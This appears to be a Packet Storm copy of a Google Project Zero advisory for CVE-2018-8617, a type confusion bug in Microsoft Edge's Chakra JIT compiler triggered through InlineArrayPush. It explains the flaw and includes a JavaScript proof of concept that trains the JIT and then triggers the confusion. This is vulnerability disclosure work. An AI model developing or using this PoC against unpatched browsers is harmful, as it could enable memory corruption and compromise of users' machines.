Lucene search

K
packetstormGoogle Security ResearchPACKETSTORM:151221
HistoryJan 17, 2019 - 12:00 a.m.

Microsoft Edge Chakra InlineArrayPush Type Confusion

2019-01-1700:00:00
Google Security Research
packetstormsecurity.com
41

0.968 High

EPSS

Percentile

99.7%

`Microsoft Edge: Chakra: Type confusion with InlineArrayPush   
  
CVE-2018-8617  
  
  
In Chakra, if you add a numeric property to an object having inlined properties, it will start transition to a new type where the space for some of previously inlined properties become for the pointer to the property slots and the pointer to the object array which stores numeric properties. For this reason, when it optimizes an InlineArrayPush instruction which might start transition, it needs to kill corresponding type symbols to prevent type confusion. But it doesn't, so it can lead to type confusion.  
  
PoC:  
function opt(a, b) {  
a.b = 2;  
b.push(0);  
a.a = 0x1234;  
}  
  
function main() {  
Object.prototype.push = Array.prototype.push;  
  
for (let i = 0; i < 1000; i++) {  
let a = {a: 1, b: 2};  
opt(a, {});  
}  
  
let o = {a: 1, b: 2};  
opt(o, o);  
  
print(o.a);  
}  
  
main();  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`